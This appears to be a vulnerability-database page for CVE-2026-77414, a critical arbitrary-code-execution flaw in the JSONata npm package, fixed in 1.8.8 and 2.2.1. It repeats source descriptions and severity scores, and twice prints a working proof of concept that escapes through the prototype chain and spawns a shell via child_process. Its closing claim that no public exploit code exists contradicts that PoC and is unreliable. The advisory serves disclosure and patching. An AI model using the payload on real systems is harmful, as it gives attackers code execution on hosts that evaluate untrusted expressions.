Every CVE Search/ Get API key

CVE-2026-77414

JSONata: Arbitrary Code Execution via crafted JSONata expressions

9.3 CriticalFix available

JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.57%Up 0.2 points since Aug 22, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.3

JSONata: Arbitrary Code Execution via crafted JSONata expressions

JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.

Record
CVE-2026-77414
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-94
Updated
2026-11-02
EUVDEUVD-2026-64083 9.3

JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.

Record
EUVD-2026-64083
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-2943-5xfg-gq5f 9.3

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a bypassable hasOwnProperty check in environment.lookup https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871

This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
     $hasOwnProperty := $spread($string);
     $__proto__ := $constructor;
     $constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")();
)`);

await expression.evaluate({});
Record
GHSA-2943-5xfg-gq5f
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-94
Updated
2026-11-02
NVD 9.3

JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.

Record
CVE-2026-77414
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-94
Updated
2026-11-02
OSV 9.3

JSONata: Arbitrary Code Execution via crafted JSONata expressions

JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.

Record
CVE-2026-77414
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-94
Updated
2026-11-02
OSVGHSA-2943-5xfg-gq5f 9.3

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a bypassable hasOwnProperty check in environment.lookup https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871

This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
     $hasOwnProperty := $spread($string);
     $__proto__ := $constructor;
     $constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")();
)`);

await expression.evaluate({});
Record
GHSA-2943-5xfg-gq5f
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-94
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
jsonata
npm
2.0.0 up to 2.2.1
2.2.1
jsonata
npm
before 1.8.8
1.8.8

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-77414 is a critical vulnerability (CVSS 9.3) in Jsonata-js Jsonata, published August 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.57%, the 47th percentile. Fixed in jsonata 2.2.1.

References

Show 5 moreShow less
MoveEnter Open